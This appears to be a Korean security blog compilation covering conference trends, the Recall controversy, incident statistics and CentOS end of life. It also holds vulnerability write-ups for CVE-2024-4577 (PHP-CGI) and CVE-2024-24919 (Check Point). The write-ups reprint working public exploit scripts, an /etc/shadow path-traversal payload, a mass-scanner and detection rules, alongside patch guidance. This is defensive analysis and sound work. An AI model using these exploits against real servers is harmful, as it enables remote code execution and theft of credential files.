1. Key Trends

- XDR, CNAPP, Zero-Trust, SOC/MDR, AI 보안(데이터 등) 다양한 주제들이 다루어짐
> 위 모든 영역에 AI를 적용하는 것이 핵심으로 떠오름

 

2. Key Note

- 오프닝 기조연설에서 보안 협력(Community), 디지털 연대 중요성 강조

> 혼자 해결하는 것은 한계가 있으며, 협력의 힘으로 새로이 마주한 문제를 해결해 나가야함

 

AI 시대의 핵심은 데이터 보안으로 AI를 활용해 어떻게 일하고, 무엇을 지킬 것인지에 대한 정의 필요

> AI가 학습하는 데이터에 대한 보안, 데이터에 대한 접근 제어, AI 모델에 대한 보안

 

- API를 노리는 사이버 위협이 기하급수적으로 증가

> 전년 대비 API 공격 109% 증가

> API 위협 증가 원인은 공격자들이 정상적인 도구와 컴포넌트를 사용하기 때문

 

3. 시사점

- AI Evreywhere: 대부분의 기업들이 당사 솔루션에 AI를 접목-데이터 보안 중요성 확대
- 통합 보안 가속화: 단일 솔루션이 아닌 플랫폼 기반으로 보안 효율성 확보
- 협력의 중요성: 파트너십, 얼라이언스 등 다양한 경로로 협력 체계 확대 중
- 경쟁 심화: 통신사, 빅테크 등 비보안 업체들의 보안 시장 진입 가속화

요약 - MS, Build 2024에서 Copilot+ PC에 Recall 기능 탑재 발표
- 정보보안 논란에 Recall 기능 Opt-In 방식으로 변경
내용 - MS Copilot+ PC
> Copilot: MS에서 개발한 생성형 AI 모델이며, MS의 모든 제품에 탑재되어 있음
> Copilot+ PC: Copilot 구동을 최적화하기 위해 설계된 고성능 PC

- Recall 기능
> 5초 간격으로 PC에서 수행한 모든 작업을 스크린 샷으로 저장하여 사용자가 이전에 보았던 내용을 쉽게 찾을 수 있도록 도와줌(시각적으로 표시된 타임라인을 제공)
> AI를 사용해 스크린샷을 찍고 디스크에 암호화되어 로컬에 저장
> OCR 기술을 활용해 스크린 샷으로부터 텍스트를 추출하여 사용자가 검색할 수 있도록 함
> 공격자가 수집된 데이터를 얻기 위해서 PC에 물리적으로 액세스해야 하며 유효한 자격증이 필요
※ InPrivate 브라우징이나 DRM이 적용된 경우 저장하지 않음
※ 인터넷 연결 없이도 작동할 수 있으며, MS 계정에 로그인하지 않아도 사용할 수 있음

- Recall 기능에 대한 논란
> MS 스스로 멀웨어를 배포한다는 비판
> 비밀번호, 금융정보 등의 민감 정보가 포함된 화면을 수정 없이 스크린 샷 저장
> 스크린 샷을 저장할 때 암호화 메커니즘 부족
> Infostealer 등을 이용해 탈취한 자격증명을 이용해 저장된 데이터에 접근 가능

- Recall 기능을 노린 공격의 등장 
> 사이버 보안 전문가 보몽트는 Recall 기능이 데이터를 텍스트로 DB에 저장한다는 사실을 발견
> DB와 스크린 샷을 복사한 후 관심 있는 문자열을 검색할 수 있는 공격 도구 TotalRecall 등

- 제기된 논란에 따라 MS는 Recall 기능 비활성화
> Opt-In(사용자 동의 후 활성화) 방식으로 변경
> Recall을 사용하기 위해 Windows Hello 등록 필요
> Recall 타임라인을 확인하기 위해 인증 필요
> Windows Hello Enhanced Sign-In Security(ESS)로 보호되는 "Just in time" 복호화를 포함한 데이터 보호 계층을 추가하여 사용자가 인증할 때만 복호화되고 액세스 가능
※ Windows Hello: Win10부터 적용된 생체 인증
기타 -

 

보안뉴스

 

마이크로소프트의 새로운 기능 ‘리콜’, 프라이버시 위협할까

MS가 최근 인공지능을 위한 PC 라인업인 코파일럿 플러스 PC(Copilot+ PC)를 발표했다. 그리고 여기에 리콜(Recall)이라는 기능을 추가할 예정이라고 했는데, 이 때문에 프라이버시 전문가들 사이에서

www.boannews.com

 

결국 여론에 항복한 MS, 논란의 리콜 기능을 비활성화 하기로

보안 외신 시큐리티위크에 의하면 MS가 논란의 중심에 있던 ‘리콜(Recall)’ 기능을 비활성화하기로 결정했다고 한다. 이제 리콜을 활성화시키려면 코파일럿 플러스 PC(Copilot+ PC)의 사용자가 직접

www.boannews.com

 

1. 거래처 이메일을 사칭하여 사기 범행을 벌이는 스피어 피싱

- 기업체 임직원 계정 해킹 후 모니터링을 통해 대금 변경 메일 등을 발송하며, 일명 나이지리아 스캠으로도 불림

> 2018년 이후 감소 추세를 보이며, 이는 In-Put 대비 낮은 Out-Put 때문임

 

- 해킹(스피어 피싱 등) > 모니터링 > 메일 발송 확인(기업체 간 정상 거래 메일) > 계좌 변경 등 악성 메일 발송 > 자금 세탁

> 기업체 간 정생 거래 메일 송수신이 확인될 경우 계좌, 거래 대금 등을 변경한 메일을 전송

 

- 발신자 확인, 출처가 불분명한 파일 다운 금지, 최신 업데이트 적용 등을 통해 예방

2. 2024년 상반기 침해사고 피해지원 주요 사례

- 24년 상반기 매월 약 80건(~5월)의 침해사고가 발생

> 해킹 경유지 21%, 문자 무단 발송 12%, 피싱 12%, 랜섬웨어 12%, 웹 취약점 9%, 기타 33%

구분 설명
해킹 경유지 - 공격자는 취약하게 운영되는 서버를 통해 타 서버를 침투하거나 악성코드를 배포하는데 활용
- 공격자는 최초 침투 후 정상 사용자로 보이는 계정을 생성해 공격 탐지 회피 시도
> 분석 시 경유지로 사용된 서버의 경우 여러 서버 해킹 흔적 및 성공 흔적을 확인할 수 있었음
문자 무단 발송 - 문자 발송이 가능한 취약한 웹 페이지를 통해 해당 서버에 저장된 개인정보를 활용하여 문자 무단 발송
- 문자 발송 시 해당 서버에 저장된 개인정보와 이미 보유한 개인정보를 활용해 불특정 다수에게 전송
- 문자 무단 발송을 위한 자체 악성 페이지를 개발하여 활용
> 1천 건 ~ 5만 건에 이르기까지 다양하게 발송
> 불법 사이트 홍보를 위한 문자가 주를 이룸
피싱 - 취약하게 관리되고 있는 웹 페이지를 통해 자격증명 탈취 후 소스코드에 스크립트를 추가 및 수정하여 팝업 창이 실행되도록 함
- 다른 공격과 달리 주요 정보를 입력하도록 유도하며, 공격자 서버로 데이터가 전송되도록 설계
> 정상적인 서비스와 구분이 어려움
> 주요 정보: 계좌, 개인정보, ID/PW 등
랜섬웨어 - 주요 침투 경로는 이메일, 부주의에 의한 파일 다운로드, 시스템 취약점, 자격증명 유출/탈취
- 주로 DB 서버 또는 웹 서버, NAS가 랜섬웨어에 감염
- 윈도우 정상 서비스 BitLocker 기능을 통해 암호화 수행하기도 함
> 복구를 빌미로 금전을 요구
웹 취약점 - 관리자 페이지 노출 및 자격증명 탈취를 통한 웹쉘 업로드, 취약한 웹 에디터 사용, 파일 업로드 검증 프로세스 누락으로 대부분 발생
- 웹 서버에 웹쉘이 업로드 될 경우 커맨드 라인 또는 원격에서 파일 수정 및 생성으로 악성 파일 업로드 가능
> 이후 시스템의 주요 정보를 외부로 유출하거나 삭제 등 악성 행위 수행

 

- 대부분의 피해 업종은 중소기업으로 보안 인력과 보안 솔루션을 구비하는데 어려움 존재

> 대부분 외부 호스팅 업체에 위탁하거나, 자체 개발 인력을 통해 운영 중

> 따라서, 업체 규모 및 운영 상황에 맞춰 쉽게 대응할 수 있는 방안이 필요

구분 설명
일반적인 대응방안 - 관리자 페이지 접근 제어 강화
- 관리자 계정 관리(비밀번호, 변경 주기 등)
- 사용중인 웹 에디터 점검(취약여부)
- 의심스러운 메일 열람 금지(악성코드 실행)
- SSH, FTP 사용 시 접근제어 설정 강화
- DB 서버 접근제어 설정 강화
- 물리적으로 분리된 저장매체에 주기적 데이터 백업
- 단말기에 저장된 자격증명 점검
오픈소스 활용 - 오픈소스 기반 및 쉽게 설치할 수 있는 솔루션 활용

- Web: ModSecurity를 통한 웹 취약점 대응
> 오픈 소스 기반
> 실시간 웹 애플리케이션 보호
> 포괄적인 트래픽 로깅
> 다양한 웹 서버 지원
> 광범위한 공격 패턴 탐지

- System: Sysmon을 통한 로깅 강화
> MS에서 제공하는 로그 강화 솔루션
> 프로세스 생성 및 종료 모니터링
> 파일 생성 시간 변경
> 파일 생성 및 삭제 모니터링
> 네트워크 연결 모니터링
> 레지스트리 이벤트 모니터링
> DLL 로드 모니터링
> WMI 이벤트 모니터링
> 상세한 이벤트 로깅

- Network: Wazuh를 통한 접근제어 강화
> 로그 데이터 수집 및 분석
> 침입 탐지 시스템(IDS)
> 규정 준수 감사
> 취약성 탐지
> 파일 무결성 모니터링(FIM, File Integrity Monitoring)

3. AI 기반의 악성 URL 탐지 방법 및 기술

- PhaaS(Phishing-as-a-Service) 기법 확산으로 인한 피싱, 스미싱 공격자의 대중화

> 피싱을 대행해주는 집단으로 피싱에 필요한 모든 프로세스를 단계별로 세분화해 의뢰자의 요구에 따라 구독기반으로 제공 (Ex. Caffeine)

> 타이포스쿼딩, 특정 타겟 대상, 사용자 흥미/취미 이용 등

 

- 피싱 URL의 짧은 생명주기로 인해 대응하는데 어려움 존재

>  AI 이용 컨텐츠 추출, 이미지 캡쳐 등을 이용한 URL 분석 서비스 Askurl

 

4. 해킹사고 여부 원클릭으로 확인하는 '해킹진단도구'

- 보안이 취약한 영세, 중소 기업들은 인력 및 예산 부족으로 해킹 피해 인지가 어려움

> KISA, 침해사고 조사기법을 적용해 사전 탐지할 수 있도록 원클릭으로 해킹 여부를 진단하는 도구 개발

> 탐지 룰은 MITRE ATT&CK의 전술과 기법을 활용하여 개발

> 보호나라 > 정보보호 서비스 > 주요사업 소개 > 기업 서비스 > 해킹진단도구를 통해 서비스 신청 가능

 

- 기업 스스로 초기에 해킹 여부를 진단 할 수 있도록 함

기능 설명
수집 - 침해사고 증거데이터 자동 수집
> 기업 운영 시스템 內 다양한 증거 데이터를 원클릭으로 수집
> 원격접속기록, 프로그램 설치 및 실행, 계정 생성, 시작 프로그램 등록, 로그 삭제, 백신탐지기록 등
진단 - 수집된 로그 등에 대해 해킹여부 탐지룰 기반 분석, 진단
> 비정상적으로 생성된 사용(관리자) 탐지
> 원격 관리도구 설치 여부 분석
> 윈도우 시스템 이벤트 로그 삭제 여부
> 비정상 IP로 원격관리프로그램(RDP) 접속 여부 분석
결과 - 분석 결과 리포팅
> 사용자가 시스템의 해킹여부를 직관적으로 판단할 수 있도록 3단계(심각: 빨강, 위험: 주황, 정상: 녹색) 결과 제공
> 담당자가 쉽게 이해할 수 있는 점검결과 보고서 제공
> 분석결과에 따라 침해사고 신고 자동 안내

 

5. 침해사고 조사 및 대응 절차

- 침해사고 대응역량 향상을 위한 제언

구분 설명
상급/지원 조직 채증 도구, 절차/가이드 개발 및 배포, 현장 방문 지원, 중앙집중화 서비스 제공 등
인력/예산 전담인력 확충, 정보보호 장비 예산 할당
관리체계 구축 정보보호에 대한 따른 기술적, 물리적, 관리적 보호 체계 확립
주기적인 보안점검 지원 국정원 실태평가, 국방부 중앙보안감사, 사이버보안 기관평가 사례
조직 자체 대응 방안 수립 조치 담당자(역할-책임), 초기 대응(네트워크 차단, 채증, 신고 조직 등) 절차 수립

 

6. 최근 사이버공격 트랜드와 예방전략

- AI를 통해 예측할 수 없는 공격 시나리오 구성

> 특정 대상을 타겟팅하여 AI를 통해 짜여진 시나리오대로 다양한 방식으로 공격 수행

> CaaS(Crime-as-a-Service)가 23년 이후의 최신 트렌드로 자리매김

※ CaaS(Crime-as-a-Service): 사이버 범죄 조직이 직접 개발, 판매, 유통, 마케팅까지 하는 종합적 공격 서비스 

 

- 조직 내 침해사고 발생 주요 원인: 가장 큰 비중은 의심스러운 메일, 사이트, 파일 실행

구분 설명
의심스러운 메일 - 피싱 URL이 삽입된 메일을 전송해 계정 정보 입력을 유도 및 탈취
- 메일 제목 확인, 계정 정보 입력 시 계정 정보 변경, 첨부파일 실행 시 랜선 제거 등 조치
의심스러운 사이트 - 취약한 사이트에 악성코드 삽입 후 사용자가 해당 사이트 접근 시 악성코드 감염
- 크롬 또는 엣지 브라우저 사용, 랜섬웨어 감염 시 랜선 제거 등 조치
의심스러운 파일 - 악성코드가 삽입된 파일을 첨부한 메일을 전송 및 사용자 실행 시 악성코드 감염
- 숨김 파일 및 파일 확장자 모두 표시, 파일명/확장자/아이콘이 이상할 경우 실행 금지 등 조치

 

- AV, EPP, EDR 간단한 설명

> EDR은 앤드포인트에서 다양한 정보를 수집하여 직관적인 가시성을 제공하고, 이를 기반으로 행위분석 및 AI/ML을 활용하여 알려진 및 알려지지 않은 위협을 탐지 및 대응하는 솔루션

구분 설명
AV (Anti-Virus) - 단순 시그니처 매핑을 통한 악성파일 탐지
EPP (Endpoin Protection Platform) - 시그니처 매핑 + 단순 프로세스 동작 분석을 통한 악성파일 탐지
EDR (Endpoint Detection&Response) - 단말 장치의 행위를 종합적으로 분석하여 악성파일을 탐지하고, 단말 장치의 모든 활동 기록을 분석하고 검색함으로써 보안 위협을 식별

 

요약 - 24.06.30 부 Cent OS 7.0의 지원 종료
- Cent OS 지원 종료에 따른 적절한 대응 방안 강구 필요
내용 - OS EoL (End of Life)
> OS에 대한 공식 지원이 중단되는 시점을 의미
> 해당 시점 이후에는 보안 업데이트 및 패치가 더 이상 제공되지 않음

- Cent OS
> 과거 우리나라에서 압도적인 점유율을 지녔으나, 최근 클라우드의 발전으로 우분투 계열의 리눅스 점유율 증가
> Cent OS는 21년 신규 버전 배포 중단 선언 및 마지막 버전 7.0이 24.06.30 부 지원이 종료
> 윈도우와 달리 주로 서버에 사용되는 리눅스 OS의 특성 상 대중에 안내나 경고 등이 전무
> 따라서 Cent OS를 사용하는 경우 대안 방안을 빠른 시일안에 고려해야 함
> 현재 설치된 Cent OS의 취약점 관리 여부와 응용프로그램의 호환성 확인 후 OS 교체 및 보안 위협에 대비할 필요

- Cent OS에서 새로운 OS로의 마이그레이션
> 새로운 OS는 지속적으로 취약점 등이 패치되어 보안위협이 관리될 수 있고, 현재 시스템과 큰 충돌이 없어야 함
> 레드헷 계열 OS에는 업스트림(Upstream)과 다운스트림(Downstream) 방식이 존재
⒜ 업스트림 (Ex. Fedora)
   커널소스에 최신 리눅스를 먼저 업데이트하는 것을 의미
   RHEL(Red Hat Enterprise Linux)와 별개로 자체적인 발전 방향을 지님
   사용자는 최신 리눅스 기술을 경험할 수 있으나, 안전성이 보장되지 않음
⒝ 다운스트림 (Ex. Cent OS)
    RHEL을 최대한 충실히 따라가며, 보안위협과 버그 등에 대해 안전성을 보장

- 기존의 Cent OS 리눅스는 종료되고 Cent OS Stream이라는 새로운 프로젝트로 변경
> 업스트림 프로젝트로 기존 Cent OS와의 호환성과 보안위협을 장담할 수 없음
> 따라서 새로운 OS로의 이전이 필요하며, 몇 가지 방안을 제시
⒜ 기존 시스템에 개발된 응용프로그램 無: 새로운 계열의 리눅스 OS 설치
⒝ 기존 시스템에 개발된 응용프로그램 有: 유료서비스 사용 가능한 경우 RHEL, 무료 버전을 원할 경우 다운스트림(Ex. Rocky) 계열 사용
기타 - Rocky 리눅스
> Cent OS 지원 중지에 반하여 몇 가지 새로운 RHEL 다운스트림 리눅스 프로젝트들이 시작
> 그 중 가장 안정적인 리눅스 프로젝트로 평가
> Cent OS에서 동작하던 버전과 동일한 상용 소프트웨어 및 라이브러리 등이 가장 잘 동작

 

보안뉴스

 

[이재춘의 시큐리티 노트-1] '센트OS' 지원 종료로 인한 보안 위협 - 데일리시큐

1. 센트OS 지원 종료로 인한 보안 위협2. 센트OS 지원 종료에 따른 대응 방안보안문제를 다루다 보면 우리는 종종 운영체제(OS)의 EOL(End of Life)이라는 주제에 대해 이야기하게 된다.운영체제(OS)의 EO

www.dailysecu.com

 

[이재춘의 시큐리티 노트-2] 센트OS 지원 종료에 따른 대응방안 - 데일리시큐

1. 센트OS 지원 종료로 인한 보안위협 (관련기사: 클릭)2. 센트OS 지원 종료에 따른 대응방안지난 글에서는 센트OS(이하 CentOS)의 지원이 종료와 이로 인한 보안 위협에 대해 알아보았다. 이런 상황

www.dailysecu.com

 

1. PHP-CGI (Common Gateway Interface)

- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스

- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP 인터프리터에 전달하여 실행 및 결과 전송

> 스크립트 실행을 위해 웹 서버의 cgi-bin 디렉토리를 생성하고, 디렉터리 내 .cgi 또는 .php로 저장해야 함

 

2. 취약점

[사진 1] CVE-2024-4577 [1]

- Window에 설치된 취약한 버전의 PHP-CGI에서 발생하는 Argument Injection 취약점

> 윈도우의 인코딩 변환 기능 중 Best-Fit 기능과 관련

> 특정 문자 시퀀스를 사용해 CVE-2012-1823에 대한 패치를 우회할 수 있음

영향받는 버전
- PHP-CGI 8.3.8 이전 버전
- PHP-CGI 8.2.20 이전 버전
- PHP-CGI 8.1.29 이전 버전

 

- 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 [2]

> 소프트 하이폰을 이스케이프하지 못해 취약점이 발생

> 공개된 PoC 확인 시 0xAD를 포함한 POST 요청을 확인할 수 있음 [3]

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber) 
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')
[영상 1] CVE-2024-4577 시연 [4]

2.1 CVE-2012-1823

[사진 2] CVE-2012-1823 [5]

- 취약한 버전의 PHP에서 발생하는 원격 명령 실행 취약점

> PHP에서 PHP-CGI로 값을 전달할 때 값에 대한 적절한 검증이 없어 발생

영향받는 버전
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전

 

- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생

> 1793줄 if(): CGI 사용 여부 확인

> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달

구분 옵션 설명
자주 사용되는
Exploit 옵션
-n php.ini 파일을 사용하지 않음
-s 소스코드를 하이라이트로 보여줌
-d php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음
> allow_url_fopen=1: 외부 URL로부터 파일 호출
> allow_url_include=1: 외부 파일 include 허용
> auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행
> auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를  실행
> auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행

 

[사진 3] PHP 5.4.1 sapi/cgi/cgi_main.c

 

[사진 3] bee-box 취약점

- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

 

- 취약점은 다음과 같이 패치됨

> 1815줄 if(): URL 디코딩 전 QUERY_STRING이 NULL이 아니고, "="를 포함하지 않는다면 URL 디코딩 후 변수 p에 할당

> 1823줄 if(): 변수 p가 "-"로 시작하는 경우 skip_getopt 변수를 1로 초기화

> 1829줄 while(): skip_getopt 변수가 1이므로 while()문을 실행하지 않아 PHP-CGI 옵션 실행 방지

[사진 4] PHP 5.4.3 sapi/cgi/cgi_main.c

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [7]

> PHP 8.0, 7, 5 계열은 지원 종료로 패치 없음

제품명 영향받는 버전 해결 버전
PHP-CGI 8.3.8 이전 버전 8.3.8
8.2.20 이전 버전 8.2.20
8.1.29 이전 버전 8.1.29

 

② 패치가 불가능한 경우 임시 조치 적용 [8]

> Mod-PHP, FastCGI, PHP-FPM과 같은 보다 안전한 아키텍처로 마이그레이션

> 재작성규칙(Rewrite Rules)을 구성: 전통 중국어, 간체 중국어, 일본어 윈도에서만 사용할 수 있는 방법

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

 

> 윈도용 XAMPP(XAMPP for Windows)를 사용하는 경우 "httpd-xampp.conf" 파일의 설정 변경

C:/xampp/apache/conf/extra/httpd-xampp.conf 파일
> ScriptAlias /php-cgi/ "C:/xampp/php/" 행을 찾아 주석 처리
> # ScriptAlias /php-cgi/ "C:/xampp/php/"

※ XAMPP 자체가 업데이트되지 않아 패치 적용 불가
※ 모든 버전의 윈도우용 XAMPP이 취약점에 노출되어 있으므로 XAMPP 또한 패치 대상

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[2] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[3] https://github.com/watchtowrlabs/CVE-2024-4577
[4] https://www.youtube.com/watch?v=8d5f0xzOdK4
[5] https://nvd.nist.gov/vuln/detail/CVE-2012-1823
[6] https://www.exploit-db.com/exploits/18836
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71457&menuNo=205020
[8] https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
[9] https://www.dailysecu.com/news/articleView.html?idxno=156643
[10] https://www.boannews.com/media/view.asp?idx=130470&page=1&kind=1
[11] https://www.boannews.com/media/view.asp?idx=130481&page=1&kind=1

1. 취약점 [1]

[사진 1] CVE-2024-24919

- Check Point사 제품들에서 발견된 Path Traversal 취약점
> 익스플로잇에 성공한 공격자들은 민감 정보를 탈취할 수 있음

구분 제품 영향받는 버전
영향받는 버전 CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis, Quantum Security Gateways, Quantum Spark Appliances R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20

 

2. 주요내용 [2]

- 패치 전후를 비교해 보면 "send_path_traversal_alert_log"라는 새 로깅 함수가 추가되어 있음
> 해당 함수는 sanitize_filename 함수에 의해 호출
> sanitize_filename를 참조를 확인하면 "sub_80F09E0 함수"와 "cpHttpSvc_register_query 함수"를 찾을 수 있음

 

[사진 2] sub_80F09E0

 

- cpHttpSvc_register_query 함수는 /clients/MyCRL URL을 사용하는 것으로 확인됨
> 해당 엔드포인트는 특정 경로를 GET 또는 POST로 요청하면 파일 시스템에서 해당 경로에 있는 파일을 반환해주는 역할을 수행
> URL에 특정 제어 문자를 추가(Ex. /clients/ MyCRL/test%0Atest) 하여 GET 요청을 전송하거나 POST 요청에 ..를 추가하는 경우 에러를 반환

 

sub_80F09E0 함수에는 _fopen 및 _fread 함수가 있음을 확인할 수 있음
> IDA가 인식하지 못하는 문자열들을 참조하는 것을 확인할 수 있음
> GDB를 통해 확인해보면, 사용자가 요청한 URL과 하드코딩된 여러 문자열을 strstr()로 비교 및 일치 시 파일 다운로드를 허용
하드코딩된 문자열 중 "CSHELL/"라는 문자열을 확인 가능

 

[사진 3] CSHELL/

CSHELL/ 문자열 뒤"../"를 추가할 경우
strstr() 함수는 CSHELL/ 문자열이 있기에 참을 반환
> 따라서, 추가한 ../ 문자열에의해 Path Traversal을 수행할 수 있게 됨

 

[사진 4] strstr() 결과

<<최종 페이로드 예시>>
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

 

2.1 PoC [3]

- /clients/MyCRL URL로 POST 요청
- aCSHELL 매개변수에 경로 순회 문자(../) 및 대상 파일(/etc/passwd 등)을 포함해 요청 

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']


def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")


def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC - erg0sum")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")


if __name__ == "__main__":
    main()

 

[영상 1] PoC 시연 영상

3. 대응방안

- 벤더사 제공 Hotfix 적용 [5]
> 핫픽스 적용 후 약한 인증 방법과 비밀번호를 사용한 모든 로그인 시도가 자동으로 차단 및 기록됨

 

- 취약한 사용자 계정 제거, 계정 정보 변경 등 조치

 

- 탐지정책 적용

alert tcp any any -> any any (msg:"CVE-2024-24919 Check Point Path Traversal"; content:"POST"; http_method;content:"/clients/MyCRL"; nocase; http_uri;content:"aCSHELL"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-24919
[2] https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
[3] https://github.com/seed1337/CVE-2024-24919-POC
[4] https://www.youtube.com/watch?v=h7iWwEBmlck
[5] https://support.checkpoint.com/results/sk/sk182336
[6] https://hackyboiz.github.io/2024/06/01/j0ker/2024-06-01/
[7] https://www.dailysecu.com/news/articleView.html?idxno=156396

1. 개요

- 보안 업체 Kaspersky, 새로운 보안 도구 KVRT (Kaspersky Virus Removal Tool) 무료 공개
- 리눅스 플랫폼에서 바이러스를 찾아 삭제하는 기능 제공

 

2. 주요내용

- 최근 XZ Utils라는 백도어가 리눅스 생태계를 크게 위협
> Linux 시스템이 본질적으로 위협으로부터 안전하다는 일반적인 오해를 증명 

 

